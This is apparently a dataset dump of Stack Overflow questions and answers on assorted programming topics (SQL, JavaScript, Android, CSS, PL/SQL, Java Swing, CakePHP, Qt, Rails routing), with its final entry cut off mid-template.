7275243	0	 <pre><code>;WITH n(n) AS -- just 4 rows - makes it easy to extend to 5 weeks, 6 weeks, etc. ( SELECT 0 UNION ALL SELECT 1 UNION ALL SELECT 2 UNION ALL SELECT 3 ), d(dt) AS -- single row with the end of the current week -- this could be a variable but I get a lot of flack for not inlining ( SELECT dt = CONVERT(DATE, DATEADD(DAY, 7-DATEPART(WEEKDAY, CURRENT_TIMESTAMP), CURRENT_TIMESTAMP))), w(dt) AS -- get the end of each week based on the rows in n ( SELECT DATEADD(WEEK, -n.n, d.dt) FROM n CROSS JOIN d ) SELECT w.dt, SUM(CASE WHEN e.term_date &gt;= DATEADD(DAY, -90, w.dt) AND e.term_date &lt; DATEADD(DAY, 1, w.dt) AND e.hired_date &gt;= DATEADD(DAY, -90, w.dt) AND e.hired_date &lt; DATEADD(DAY, 1, w.dt) THEN 1 ELSE 0 END) FROM dbo.Employees AS e CROSS JOIN w GROUP BY w.dt ORDER BY w.dt DESC; </code></pre>
31678421	0	 <p>Walk the array, find the relevant month, and update its value:</p> <pre><code>var newData = { "year" : 2015, "month" : "FEB", "value" : 2.33 }; for (var i = 0; i &lt; data.length; i++) { var entry = data[i]; if (entry.year == newData.year &amp;&amp; entry.month == newData.month) entry.value = newData.value; } </code></pre> <p>Your structure is not ideal for this kind of update, however. If you had 10.000 entries, you may need to examine all of them to update a single one.</p> <p>You should instead organize data by year and month. For example:</p> <pre><code>var data = { '2015-FEB': 2.5 '2015-MAR': 3.8 }; </code></pre> <p>Updating this other structure is a single operation:</p> <pre><code>data[year + '-' + month] = value; </code></pre> <p>If you need your objects in the form you posted, you can have the best of both worlds:</p> <pre><code>var data = { '2015-FEB': { "year" : 2015, "month" : "FEB", "value" : 2.33 } }; </code></pre> <p>If you need them in sorted order, you can have <strong>both</strong> structures: the date-to-object map <strong>and</strong> the array, storing references to the same objects.</p>
37094776	0	 <p>There is a major flaw in your design. The error is obvious. In this line</p> <pre><code>final helpers helpers = new helpers(); </code></pre> <p>you are trying to create an object of an activity which is a very very bad practice. You cannot simply create an object of an activity like this. All Activities in Android must go through the Activity lifecycle so that they have a valid context attached to them. In this case a valid context is not attached to the helper instance. So as a result the line </p> <pre><code>SharedPreferences sharedPref = this.getPreferences(Context.MODE_PRIVATE); </code></pre> <p>causes a null pointer as 'this' is null. (Why? Because this refers to the context which has not yet been created as the activity is not started using startActivity(intent))</p> <p><em>Another thing though this is not an error, you must use activity names starting with an upper case letter. It is the convention followed and will make your code more readable. Your code is pretty confusing due to the weird use of upper and lower case names. You declare your class with a lower case letter while at some places the variables are upper case. which causes confusion. The rule is that classes, interfaces, etc should start with upper case letters and variables as lower case.</em></p> <p>So in this case what do you do?</p> <p>You never start your Helper activity and I think you do not need to show it to the user. That is it needs to do some work without user interaction. You should make it a service. And then start it using <code>startService(intent).</code>Or you may also create it as a Java class, depends on your use case. </p> <p>Edit: By the way I answered <a href="http://stackoverflow.com/questions/37092965/android-calling-intentservice-class-from-a-service-class/37096620#37096620">another</a> similar question having the same problem but involving services later today. </p>
4973986	0	Why the naming: NodeList vs childNodes <p>I have been wondering about a stupid thing about the DOM. Why do the standards define NodeList with the postfix <code>List</code> to make it clear it is an array while have a some properties or functions like <code>childNodes</code> or <code>getElementsByTagName</code> which use the postfix letter <code>s</code>?</p> <p>I find it contradictory when the standards define members with different suffixes for the same purpose (to describe an array).</p> <p>Edit: It actually seems that NodeList is not even an array. Does this explain this?</p>
16732393	0	 <p>I think, you can use <code>space-bar</code> like this:</p> <pre><code>$('#container1 .item') </code></pre> <p>And, if <code>.item</code> element was under the <code>#container1</code> directly, you can also use this:</p> <pre><code>$('#container1 &gt; .item') </code></pre>
34891278	0	 <p>A simple approach to error-checking user input is with a while loop. For example:</p> <pre><code>def make_score(): while True: score = raw_input('Air, Water, or Grass? ') if score in Attack: break else: print 'Invalid selection.' return score </code></pre> <p>This will loop to input until the user enters a string that matches one of your list items (in the Attack list).</p>
6647049	0	 <p>I finally found the problem. It's fixed.</p> <p>The problem was the Application Pool. On every recycle, the session was lost. So we did turn off the application pool recycling, and are scheduling the recycle once a day.</p>
20617177	0	 <p>As I was writing the question, I figured out the answer, so I decided to post it right here. But if someone has a different solution, that is more stable or clean, I'm still interested.</p> <p>The dictionary to be passed to <code>.format</code> should be:</p> <p><code>vars(sys.modules[func.__module__])</code></p>
35874023	1	Python: list is not mutated after for loop <pre><code>a =[1,2] for entry in a: entry = entry + 1 print a </code></pre> <p>Shouldn't the list be mutated to<code>[2,3]</code>? The result came out as <code>[1,2]</code>. Why?</p>
1091457	0	 <p>There's one more issue you might need to address if you are using the <strong>Windows 2008 Server</strong> with <strong>IIS7</strong>. The server might report the following error:</p> <p><em>Microsoft Office Excel cannot access the file 'c:\temp\test.xls'. There are several possible reasons:</em></p> <ul> <li><em>The file name or path does not exist.</em></li> <li><em>The file is being used by another program.</em></li> <li><em>The workbook you are trying to save has the same name as a currently open workbook.</em></li> </ul> <p>The solution is posted here (look for the text posted by user Ogawa): <a href="http://social.msdn.microsoft.com/Forums/en-US/innovateonoffice/thread/b81a3c4e-62db-488b-af06-44421818ef91?prof=required" rel="nofollow noreferrer">http://social.msdn.microsoft.com/Forums/en-US/innovateonoffice/thread/b81a3c4e-62db-488b-af06-44421818ef91?prof=required</a></p>
10736964	0	gitolite-admin clone issue <p>I am going nuts with a problem cloning the gitolite-admin repository. I have followed this <a href="http://sitaramc.github.com/gitolite/install.html#migr" rel="nofollow">http://sitaramc.github.com/gitolite/install.html#migr</a> and it went perfectly.</p> <p>I ran <code>ssh-keygen -t rsa</code> and <code>scp ~/.ssh/id_rsa.pub morten@ubuntu-server:/tmp/morten.pub</code></p> <p>authorized_keys on the server looks like this:</p> <pre><code># gitolite start command="/home/morten/gitolite/src/gitolite-shell morten",no-port-forwarding,no-X11-forwarding,no-agent-forward$ # gitolite end </code></pre> <p>Which AFAIK is okay.</p> <p>When I run <code>git clone morten@ubuntu-server:gitolite-admin</code> on my client, I get</p> <pre><code>fatal: 'gitolite-admin' does not appear to be a git repository fatal: The remote end hung up unexpectedly </code></pre> <p>I have no idea what I missed!</p>
27025300	0	 <p>I ran into this same problem. It turned out that I was inadvertently using my machine's version of django-admin.py to start my Django project, rather than the one installed within the virtualenv. I ended up having to <code>source bin/activate</code> again after installing django within the virtualenv, before running any of the django-admin commands.</p>
32371753	0	Delete duplicate lines in a file after a match in a particular subset of columns <p>I've an unsorted file, containing row data disposed in many columns, as in this example:</p> <pre><code>10:23:55.521803 [INFO] eceb [ 41] 235 870 1 26601 349 910 10:24:11.771454 [INFO] eceb [ 41] 41 870 0 26601 349 910 10:25:18.858675 [INFO] eceb [ 41] 235 870 3 26601 349 910 10:25:18.814763 [INFO] eceb [ 41] 60 1247 0 38490 163 715 10:25:19.844738 [INFO] eceb [ 41] 60 1248 0 38490 163 715 10:24:11.771454 [INFO] eceb [ 41] 41 870 0 26641 389 920 </code></pre> <p>I want to identify all the lines that, considering only the columns 4,5 and 6, are the same, and delete all this lines from the file.</p> <p>Therefore, the result should be, in this example:</p> <pre><code>10:25:18.814763 [INFO] eceb [ 41] 60 1247 0 38490 163 715 10:25:19.844738 [INFO] eceb [ 41] 60 1248 0 38490 163 715 </code></pre> <p>How can I do this?</p>
37726516	0	 <p>When you invoke the <code>printloop</code> function with <code>5</code> the for loop essentially becomes</p> <pre><code>for (x = 5; x &lt; 5; x++) { //... } </code></pre> <p>And <code>x &lt; 5</code> will never be true.</p> <hr> <p>I guess what you meant was something like </p> <pre><code>for (x = 0; x &lt; valx; x++) { //... } </code></pre>
18885272	0	 <p>you can do it in css</p> <pre><code>#rolling { height: 80px !important; } </code></pre> <p><a href="http://screencast.com/t/VNpe7ODkh2Ar" rel="nofollow">http://screencast.com/t/VNpe7ODkh2Ar</a></p>
20533516	0	 <p>May be you're missing "px" at the end:</p> <pre><code>function resizeText(multiplier) { var elements = document.getElementsByClassName('Resizable'); for(var i = 0; i &lt; elements.length; i++) { elements[i].style.fontSize = parseFloat(elements[i].style.fontSize) + (multiplier + * 0.2) + "px"; } } </code></pre>
6674893	0	 <p>Alt+Key is one way, like AresAvatar posted above.</p> <p>if you want some more possibilities you can use the <a href="http://msdn.microsoft.com/de-de/library/system.windows.input.keybinding.aspx" rel="nofollow">KeyBinding</a> class</p>
37718576	0	How to change the ViewControllers frame position inside the PageViewController? <p>The Code I Have written for loading view controllers in Page View Controllers. Programatically creating four view controllers and adding them to Page View Controller. I have changed the view controllers frame position but still not changing in the app </p> <pre><code> let controller: UIViewController = UIViewController() print(controller.view.frame) controller.view.frame = CGRectMake(10, 20, self.view.frame.width/2, self.view.frame.height - 20) print(controller.view.frame) controller.view.backgroundColor = UIColor.blackColor() let controller2: UIViewController = UIViewController() controller2.view.backgroundColor = UIColor.redColor() let controller3: UIViewController = UIViewController() controller3.view.backgroundColor = UIColor.blackColor() let controller4: UIViewController = UIViewController() controller4.view.backgroundColor = UIColor.greenColor() let p1 = controller let p2 = controller2 let p3 = controller3 let p4 = controller4 myViewControllers = [p1,p2,p3,p4] for index in 0 ..&lt; myViewControllers.count { NSLog("\(myViewControllers[index])") } let startingViewController = self.viewControllerAtIndex(0) let viewControllers: NSArray = [startingViewController] self.setViewControllers(viewControllers as? [UIViewController], direction: UIPageViewControllerNavigationDirection.Forward, animated: true, completion: {(done: Bool) in }) </code></pre>
5430987	0	 <p>You don't need EXECUTE IMMEDIATE in this context.</p> <pre><code>DECLARE long_var long:=0; BEGIN DBMS_OUTPUT.PUT_LINE(LENGTH(long_var)); SELECT filesize INTO long_var FROM files; DBMS_OUTPUT.PUT_LINE(LENGTH(long_var)); END; / </code></pre> <p>EXECUTE IMMEDIATE runs a stand alone statement of SQL from your PL/SQL code. It can't return anything to your code. The statement you're using isn't valid SQL so you get the ORA-00905. It is valid PL/SQL code and so works as you'd expect once EXECUTE IMMEDIATE is removed.</p> <p><strong>Edit</strong></p> <p>Code for your follow on question: To do this with more than one row you can use this</p> <pre><code>DECLARE CURSOR C1 IS SELECT filesize FROM files; BEGIN FOR files IN c1 LOOP DBMS_OUTPUT.PUT_LINE(LENGTH(files.filesize)); END LOOP; END; / </code></pre>
18362027	0	 <pre><code>function GetAnImage(src) { var newImg = document.createElement('img'); newImg.src = src; return newImg; } var newImg = GetAnImage("abc.jpg"); newImg.onload = function () { var height = this.height; var width = this.width; //do with the image as you want } </code></pre> <p>i hope it helps.</p>
14680916	0	On listview only want to click one item at a time <p>I have a listview with item. Click on an item it goes to another activity. My problem is on clicking on multiple items (say 3 0r4 ) all clicked are loaded. But i dont need it. Only want to load 1 item at a time. Tested on HTC one,samsung galaxy s plus. Please help.</p>
19173979	0	 <p>This 'Class' definitoin is special only because it use 'generic' type parameter? if you do not know what 'generic' means, I think you should read a java book before read/write java code like this ~</p> <p><code>class ListNode&lt;K, V&gt;</code> means the <code>ListNode</code> class uses two 'unknown' or 'general' variable type (i.e. K V), you can indicate the specific type when you use the class</p> <p><code>K extends Comparable&lt;K&gt;</code> meands that the 'K' type is restricted to be 'Comparable'</p>
5963907	0	 <p>Although <code>harry.getObject()</code> is a reference to the original object, you then ruin it with the assignment:</p> <pre><code>harry1 = harry.getObject(); </code></pre> <p>which performs a copy.</p> <p>Instead:</p> <pre><code>Student const&amp; harry1 = harry.getObject(); </code></pre>
18407201	0	Html file works locally on IE, but not on server. Works fine for Opera, Chrome, Safari and Firefox <p>Basically, as the title states, the file works locally, but not when uploaded to a server.</p> <p>Here's a live working version: <a href="http://jsfiddle.net/guisasso/WKjT8/" rel="nofollow noreferrer"><strong>jsfiddle</strong></a> </p> <p>Code extracted from <a href="http://www.onextrapixel.com/2013/07/31/creating-content-tabs-with-pure-css/" rel="nofollow noreferrer">http://www.onextrapixel.com/2013/07/31/creating-content-tabs-with-pure-css/</a></p> <p>*The divs are displaying right below their parent tab. That's ok, I just striped down the code to post the question.</p> <p><strong>This is all in one file, there's no reference to any external files, so path problems should be ruled out.</strong></p> <p>Thanks.</p> <p><strong>Google Chrome</strong> <img src="https://i.stack.imgur.com/Dig8S.png" alt="Google Chrome"></p> <p><strong>IE Local</strong> <img src="https://i.stack.imgur.com/0kSrh.png" alt="Local IE"></p> <p><strong>IE when uploaded to webserver</strong> <img src="https://i.stack.imgur.com/74AB9.png" alt="IE online"></p> <pre><code>&lt;!DOCTYPE html&gt; &lt;html lang="en"&gt; &lt;head&gt; &lt;meta charset="UTF-8" /&gt; &lt;title&gt;Pure CSS Tabs with Fade Animation Demo 1&lt;/title&gt; &lt;style type="text/css"&gt; body, html { height: 100%; margin: 0; -webkit-font-smoothing: antialiased; font-weight: 100; background: #aadfeb; text-align: center; font-family: helvetica; } .tabs input[type=radio] { position: absolute; top: -9999px; left: -9999px; } .tabs { width: 650px; float: none; list-style: none; position: relative; padding: 0; margin: 75px auto; } .tabs li{ float: left; } .tabs label { display: block; padding: 10px 20px; border-radius: 2px 2px 0 0; color: #08C; font-size: 24px; font-weight: normal; font-family: 'Roboto', helveti; background: rgba(255,255,255,0.2); cursor: pointer; position: relative; top: 3px; -webkit-transition: all 0.2s ease-in-out; -moz-transition: all 0.2s ease-in-out; -o-transition: all 0.2s ease-in-out; transition: all 0.2s ease-in-out; } .tabs label:hover { background: rgba(255,255,255,0.5); top: 0; } [id^=tab]:checked + label { background: #ececec; border-bottom: 3px orange solid; color: black; top: 0; } [id^=tab]:checked ~ [id^=tab-content] { display: block; } .tab-content{ z-index: 2; display: none; text-align: left; width: 100%; font-size: 20px; line-height: 140%; padding-top: 10px; margin-top:10px; background: #ffffff; padding: 15px; color: black; position: absolute; box-sizing: border-box; -webkit-animation-duration: 0.5s; -o-animation-duration: 0.5s; -moz-animation-duration: 0.5s; animation-duration: 0.5s; } &lt;/style&gt; &lt;/head&gt; &lt;body&gt; &lt;div class="container"&gt; &lt;div class="main"&gt; &lt;ul class="tabs"&gt; &lt;li&gt; &lt;input type="radio" checked name="tabs" id="tab1"&gt; &lt;label for="tab1"&gt;test 1&lt;/label&gt; &lt;div id="tab-content1" class="tab-content animated fadeIn"&gt; "Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat. Duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur. Excepteur sint occaecat cupidatat non proident, sunt in culpa qui officia deserunt mollit anim id est laborum." &lt;/div&gt; &lt;/li&gt; &lt;li&gt; &lt;input type="radio" name="tabs" id="tab2"&gt; &lt;label for="tab2"&gt;test 2&lt;/label&gt; &lt;div id="tab-content2" class="tab-content animated fadeIn"&gt; "Sed ut perspiciatis unde omnis iste natus error sit voluptatem accusantium doloremque laudantium, totam rem aperiam, eaque ipsa quae ab illo inventore veritatis et quasi architecto beatae vitae dicta sunt explicabo. Nemo enim ipsam voluptatem quia voluptas sit aspernatur aut odit aut fugit, sed quia consequuntur magni dolores eos qui ratione voluptatem sequi nesciunt. Neque porro quisquam est, qui dolorem ipsum quia dolor sit amet, consectetur, adipisci velit, sed quia non numquam eius modi tempora incidunt ut labore et dolore magnam aliquam quaerat voluptatem. Ut enim ad minima veniam, quis nostrum exercitationem ullam corporis suscipit laboriosam, nisi ut aliquid ex ea commodi consequatur? Quis autem vel eum iure reprehenderit qui in ea voluptate velit esse quam nihil molestiae consequatur, vel illum qui dolorem eum fugiat quo voluptas nulla pariatur? &lt;/div&gt; &lt;/li&gt; &lt;li&gt; &lt;input type="radio" name="tabs" id="tab3"&gt; &lt;label for="tab3"&gt;test 3&lt;/label&gt; &lt;div id="tab-content3" class="tab-content animated fadeIn"&gt; "But I must explain to you how all this mistaken idea of denouncing pleasure and praising pain was born and I will give you a complete account of the system, and expound the actual teachings of the great explorer of the truth, the master-builder of human happiness. No one rejects, dislikes, or avoids pleasure itself, because it is pleasure, but because those who do not know how to pursue pleasure rationally encounter consequences that are extremely painful. Nor again is there anyone who loves or pursues or desires to obtain pain of itself, because it is pain, but because occasionally circumstances occur in which toil and pain can procure him some great pleasure. To take a trivial example, which of us ever undertakes laborious physical exercise, except to obtain some advantage from it? But who has any right to find fault with a man who chooses to enjoy a pleasure that has no annoying consequences, or one who avoids a pain that produces no resultant pleasure?" &lt;/div&gt; &lt;/li&gt; &lt;/ul&gt; &lt;/div&gt; &lt;/div&gt; &lt;/body&gt; </code></pre> <p></p>
17736385	0	 <p>You have <code>;</code> after the if. Remove it.</p> <p>if statements can't have ; at the end:</p> <pre><code>if(someCondition); is not valid </code></pre>
3612795	0	 <p>i tried your code, it fades out on first feed, but it doesn't enter the animationDidStop event. thats why it cant call performAnimation again. is there any set for animation (delegate or protocol etc..)</p>
8740252	0	Why are these two queries different? <p>Display the details of the employees who have subscribed for Football and Chess but not for Tennis.</p> <pre><code>SELECT * FROM employee WHERE empid IN (SELECT empid FROM subscription WHERE facid IN (SELECT facid FROM facility WHERE facility = 'Chess' OR facility = 'Football')) AND empid NOT IN (SELECT empid FROM subscription WHERE facid = (SELECT facid FROM facility WHERE facility = 'Tennis')); SELECT DISTINCT empid FROM subscription WHERE facid IN (SELECT facid FROM facility WHERE facility = 'Chess' OR facility = 'Football') AND facid != (SELECT facid FROM facility WHERE facility = 'Tennis'); </code></pre> <p>The first one gives correct result.</p>
3347454	0	 <p>I might not be understanding this completely, but if all you want to do is to output a list of names with their respective email addresses, you could try simplifying to this:</p> <pre><code>name = rs("name") email = rs("email") do while rs.eof &lt;&gt; true response.write(name &amp; " " &amp; email &amp; "&lt;br /&gt;") rs.movenext loop </code></pre> <p>…at least for testing purposes. Alternatively, you could concatenate the name and email in the SQL statement into one column:</p> <pre><code>SELECT name + '|' + email as nameemail FROM emails WHERE email IN ('" &amp; emails &amp; "') </code></pre> <p>...will give you "name|email" that you can easily string manipulate.</p>
26473660	0	 <p>Using <a href="http://underscorejs.org/#object">underscore's object function</a>, you can do this:</p> <pre><code>form_values = _.object([f.name, f.value] for f in $('input, textarea, select')) </code></pre>
5453517	0	 <p>Do you want to keep the session variable? If not you can just use the header function:</p> <pre><code>header('http://domain.com/category/health-beauty/'); </code></pre>
5996862	0	cakePHP + php5-fpm + memcached = lots of open TCP connections to memcached? <p>I'm pretty sure this is a CakePHP bug, but figured someone here may have run across this and know how to fix. FYI - I've created a <a href="http://cakephp.lighthouseapp.com/projects/42648-cakephp/tickets/1705-cake-138-memcacheengine-does-not-close-connection" rel="nofollow">ticket</a>.</p> <p>I run PHP as fastcgi under nginx via php5-fpm. When I use 'Memcache' as the engine for my cake cache, I notice that TCP connections are not closed. I notice that cake's <a href="http://api.cakephp.org/view_source/memcache-engine/#line-198" rel="nofollow">MemcacheEngine</a> does not ever call PHP <a href="http://www.php.net/manual/en/memcache.close.php" rel="nofollow">memcache::close()</a>.</p> <p>For people who run PHP under non-fastcgi processes, I think this is OK as at the end of the PHP request the process ends, and "breaks" the TCP connection between PHP and memcached.</p> <p>Using php5-fpm this is not the case, as the PHP process stays running to be re-used.</p> <p>Does anyone know a best practice for this? I'm thinking of modifying the CakePHP code to close the connection at the end of processing - but I'm wondering if there is a better way.</p> <p>Note: CakePHP's MemcacheEngine does NOT use <a href="http://www.php.net/manual/en/memcache.pconnect.php" rel="nofollow">pconnect</a>.</p> <p>My version info:</p> <pre><code>Ubuntu 10.10 64bit PHP 5.3.3 PECL memcache 3.0.5 memcached 1.4.5 cakephp 1.3.8 </code></pre>
21586693	0	 <p>Make will read and operate on a makefile which is in the current directory, unless you specify a different one with <code>-f</code>. From your comments above it sounds like your current directory is not the right one when you run <code>make</code>, so it can't find the makefile</p> <p>You have to either run <code>make -f public/cards/gallery/Makefile card FILE=...</code>, to allow make to find your makefile, or else change working directories first with <code>make -C public/cards/gallery card FILE=...</code></p> <p>Also I find it unlikely that <code>FILE=public/cards/gallery/*</code> is going to work, because the wildcard <code>*</code> expands to ALL the files in the directory.</p>
24521695	0	 <p><strong>This should do it for you without an array...</strong></p> <pre><code> Dim intcount As Integer = 0 'Used to make sure commas are in order For Each item As Integer In myReader("SchType_ID").ToString.Split("~") If intcount &gt;= 1 Then builder.Append(",") builder.Append(item.ToString) Else builder.Append(item.ToString) intcount += 1 End If Next </code></pre> <p><strong>Another example adding the items to an array</strong></p> <pre><code> Dim strArray As New List(Of Integer) Dim intcount As Integer = 0 'Used to make sure commas are in order 'Add items to the array For Each item As Integer In myReader("SchType_ID").ToString.Split("~") strArray.Add(item) Next 'Add each item to the string builder For Each intItem As Integer In strArray If intcount &gt;= 1 Then builder.Append(",") builder.Append(intItem.ToString) Else builder.Append(intItem.ToString) intcount += 1 End If Next MessageBox.Show(builder.ToString) 'Only for testing purposes </code></pre> <p><strong>Here's a function for you as well</strong></p> <pre><code> Public Function BuildArray(ByVal strItems As String) As List(Of Integer) Dim lstArray As New List(Of Integer) For Each item As Integer In strItems.Split("~") lstArray.Add(item) Next Return lstArray End Function </code></pre> <p>*To use the function, you can use it this way...</p> <pre><code> Dim lstArray As List(Of Integer) Dim intcount As Integer = 0 lstArray = New List(Of Integer)(BuildArray(myReader("SchType_ID").ToString)) 'Add each item to the string builder For Each intItem As Integer In lstArray If intcount &gt;= 1 Then builder.Append(",") builder.Append(intItem.ToString) Else builder.Append(intItem.ToString) intcount += 1 End If Next MessageBox.Show(builder.ToString) 'Testing purpose only </code></pre> <p>Happy Coding!</p>
18963054	0	PySide/QT - How to add horizontal or vertical layout to a grid layout <p>If I wanted to create a window where a grid layout didn't cover the whole frame? Could I do it by adding a horizontal layout to the grid layout and adding a stretch to the horizontal layout. When I try it in the following code, I get this error: </p> <blockquote> <p>TypeError: PySide.QtGui.QGridLayout.addLayout(): not enough arguments</p> </blockquote> <pre><code>import sys from PySide import QtGui class Example(QtGui.QWidget): def __init__(self): super(Example, self).__init__() self.initUI() def initUI(self): names = ['Cls', 'Bck', '', 'Close', '7', '8', '9', '/', '4', '5', '6', '*', '1', '2', '3', '-', '0', '.', '=', '+'] hbox = QtGui.QHBoxLayout() hbox.addStretch() vbox = QtGui.QVBoxLayout() vbox.addStretch() grid = QtGui.QGridLayout() grid.addLayout(vbox) self.setLayout(grid) self.move(300, 150) self.setWindowTitle('Calculator') self.show() def main(): app = QtGui.QApplication(sys.argv) ex = Example() sys.exit(app.exec_()) if __name__ == '__main__': main() </code></pre> <p>This error does not occur when adding a horizontal layout to a vertical layout or vice versa. </p> <p>Thanks for the help!</p>
20759916	0	 <p>When using escaped table names take care about this "bug" : <a href="https://github.com/doctrine/doctrine2/pull/615" rel="nofollow">https://github.com/doctrine/doctrine2/pull/615</a> . Doctrine takes the first character of the table name as aliasprefix and thus a quote is used, crushing all your SQLs</p>
10345097	0	 <p>My Solution</p> <pre><code>Intent buttonUp = new Intent(Intent.ACTION_MEDIA_BUTTON); buttonUp.putExtra(Intent.EXTRA_KEY_EVENT, new KeyEvent(KeyEvent.ACTION_DOWN, KeyEvent.KEYCODE_HEADSETHOOK)); getContext().sendOrderedBroadcast(buttonUp, "android.permission.CALL_PRIVILEGED"); </code></pre>
11310045	0	 <p>Try a simple trick. Apple has got samples on its site to show how to zoom into a photo using code. Once done zooming, using graphic context take the frame size of the bounding view, and take the image with that. Eg Uiview contains scroll view which has the zoomed image. So the scrollview zooms and so does your image, now take the frame size of your bounding UIview, and create an image context out of it and then save that as a new image. Tell me if that makes sense.</p> <p>Cheers :)</p>
29459285	0	Combining Classes through Methods in Java <p>I have two working classes that function independently. I want to combine them, yet I have no working location to add a <code>public void (String Name){</code>. I keep getting a "remove this" or "Add }".</p> <p>Code I have: </p> <pre><code>import java.io.File; import java.awt.event.*; import javax.swing.*; import java.awt.*; public class WordDocument extends JFrame { private JButton btnOpen; private JLabel jLabel1; private JTextField txtDocNumber; public void SystemFiles() { private static String DIR ="c:\\Users\\tyler's account\\folders\\JavaReaderFiles\\"; // folder where word documents are present. public WordDocument() { super("Open Word Document"); initComponents(); } private void initComponents() { jLabel1 = new JLabel(); txtDocNumber = new JTextField(); btnOpen = new JButton(); Container c = getContentPane(); c.setLayout(new java.awt.FlowLayout()); setDefaultCloseOperation(javax.swing.WindowConstants.EXIT_ON_CLOSE); jLabel1.setText("Enter Document Number : "); c.add(jLabel1); txtDocNumber.setColumns(5); c.add(txtDocNumber); btnOpen.setText("Open Document"); btnOpen.addActionListener(new ActionListener() { // anonymous inner class public void actionPerformed(ActionEvent evt) { Desktop desktop = Desktop.getDesktop(); try { File f = new File( DIR + txtDocNumber.getText() + ".doc"); desktop.open(f); // opens application (MSWord) associated with .doc file } catch(Exception ex) { // WordDocument.this is to refer to outer class's instance from inner class JOptionPane.showMessageDialog(WordDocument.this,ex.getMessage(),"Error", JOptionPane.ERROR_MESSAGE); } } }); c.add(btnOpen); } public static void main(String args[]) { WordDocument wd = new WordDocument(); wd.setSize(300,100); wd.setVisible(true); } } </code></pre> <p>I don't know where to add the Method. I have tried changing Private/Public classes and kept receiving multiple errors. I need this to run as a part of an IF loop.</p>
6721227	0	AVURLAsset's loadValuesAsynchronouslyForKeys method doesn't call completion block when executed in modal view controller <p>I'm using AV Foundation to replay in-bundle .mov files. I followed Apple's guide to initiate an AVURLAsset instance and called its <strong>- (void)loadValuesAsynchronouslyForKeys:(NSArray *)keys completionHandler:(void (^)(void))handler</strong> method.</p> <p>In the view controller loaded firstly, doing this works. </p> <p>My app architecture adds modal view controllers on top of the base one, I found calling loadValuesAsynchronouslyForKeys in the following modal view controllers doesn't work well: the completion block handler has never got called.</p> <p>I copy+paste the AV Foundation code shown below, so my thought is this code snippt doesn't work in modal view controllers, but why?</p> <pre><code>NSString *path = [[NSBundle mainBundle] pathForResource:@"video001" ofType:@"mov"]; NSURL *url = [NSURL fileURLWithPath:path isDirectory:NO]; AVURLAsset *asset = [AVURLAsset URLAssetWithURL:url options:nil]; [asset loadValuesAsynchronouslyForKeys:[NSArray arrayWithObjects:@"tracks", nil] completionHandler:^(void){ NSLog(@"compltion"); }]; </code></pre>
13334341	0	 LabWindows/CVI is an event-driven, ANSI C89 programming environment developed by National Instruments.
15265844	0	 <p>Might be a typo but <code>Accounts.OnCreateUser(fn);</code> should be <code>Accounts.onCreateUser(fn);</code> Meteor docs: <a href="http://docs.meteor.com/#accounts_oncreateuser" rel="nofollow">http://docs.meteor.com/#accounts_oncreateuser</a></p> <p>And then another post on the same subject: <a href="http://stackoverflow.com/questions/13660219/meteor-login-with-external-service-how-to-get-profile-information">Meteor login with external service : how to get profile information?</a></p> <p>EDIT: Posting as edit due the formatting of the below piece of code. In the meantime I have got it running on my own project with this piece of code:</p> <pre><code>Accounts.onCreateUser(function(options, user) { if(!options || !user) { console.log('error creating user'); return; } else { if(options.profile) { user.profile = options.profile; } } return user; }); </code></pre> <p>Which is working just fine. Have you placed the <code>Accounts.onCreateUser();</code> on the server?</p>
13461708	0	How is for...in implemented in JavaScript? <p>I saw a question about the <a href="http://daniel.gredler.net/2008/09/10/javascript-iteration-order/" rel="nofollow">iteration order</a> of for...in statements, and warning that the order cannot be trusted. How is the iteration and tracking of the current and visited nodes done internally, and how does it differ among JavaScript engines?</p>
28335272	0	Noode.js ws: Server doesn't know that the client is disconnected <p>We have a problem in our project using the node <a href="https://github.com/websockets/ws" rel="nofollow">ws websockets library</a>. When the client looses network connection the only way to know that the client is disconnected is by sending a ws.ping() from the server. This is too resource consuming for us.</p> <p>Does anybody know if there is a default way to get the ws server to use TCP level keepalives instead of using the ping/pong functionality?</p>
14453535	0	 <p>Consider the following example:</p> <pre><code>- (UITableViewCell *)tableView:(UITableView *)tableView cellForRowAtIndexPath:(NSIndexPath *)indexPath { static NSString *CellIdentifier = @"Cell"; UITableViewCell *cell = [tableView dequeueReusableCellWithIdentifier:CellIdentifier]; if (cell == nil) { cell = [[UITableViewCell alloc] initWithStyle:UITableViewCellStyleDefault reuseIdentifier:CellIdentifier]; } // I will use tempDict Object for your understandings, otherwise it can be used directly. Here array1 is Main DataSource for UITableView. NSDictionary *tempDict = [array1 objectAtIndex:indexPath.row]; // key1 is the key to get the object from the dictionary. cell.title.text = [tempDict valueForKey:key1]; return cell; } </code></pre> <p>Here, array1 is the main <code>DataSource</code> for your table view, which contains <code>NSDictionary</code> objects.</p> <p>Hope this helps.</p>
4517071	0	Controller Namespaces and Routing issue <p>I created a routing test rails3 app with one model 'User':</p> <pre><code>rails new routing_test_app rails generate model User name:string rails generate scaffold_controller admin/user rake db:migrate </code></pre> <p>Added to routes.db: </p> <pre><code>namespace :admin do resources :users end </code></pre> <p>rake routes</p> <pre><code>admin_users GET /admin/users(.:format) {:action=&gt;"index", :controller=&gt;"admin/users"} admin_users POST /admin/users(.:format) {:action=&gt;"create", :controller=&gt;"admin/users"} new_admin_user GET /admin/users/new(.:format) {:action=&gt;"new", :controller=&gt;"admin/users"} edit_admin_user GET /admin/users/:id/edit(.:format) {:action=&gt;"edit", :controller=&gt;"admin/users"} admin_user GET /admin/users/:id(.:format) {:action=&gt;"show", :controller=&gt;"admin/users"} admin_user PUT /admin/users/:id(.:format) {:action=&gt;"update", :controller=&gt;"admin/users"} admin_user DELETE /admin/users/:id(.:format) {:action=&gt;"destroy", :controller=&gt;"admin/users"} </code></pre> <p>views/admin/users/_form.html.erb</p> <pre><code>&lt;%= form_for(@admin_user) do |f| %&gt; &lt;% if @admin_user.errors.any? %&gt; &lt;div id="error_explanation"&gt; &lt;h2&gt;&lt;%= pluralize(@admin_user.errors.count, "error") %&gt; prohibited this admin_user from being saved:&lt;/h2&gt; &lt;ul&gt; &lt;% @admin_user.errors.full_messages.each do |msg| %&gt; &lt;li&gt;&lt;%= msg %&gt;&lt;/li&gt; &lt;% end %&gt; &lt;/ul&gt; &lt;/div&gt; &lt;% end %&gt; &lt;%= 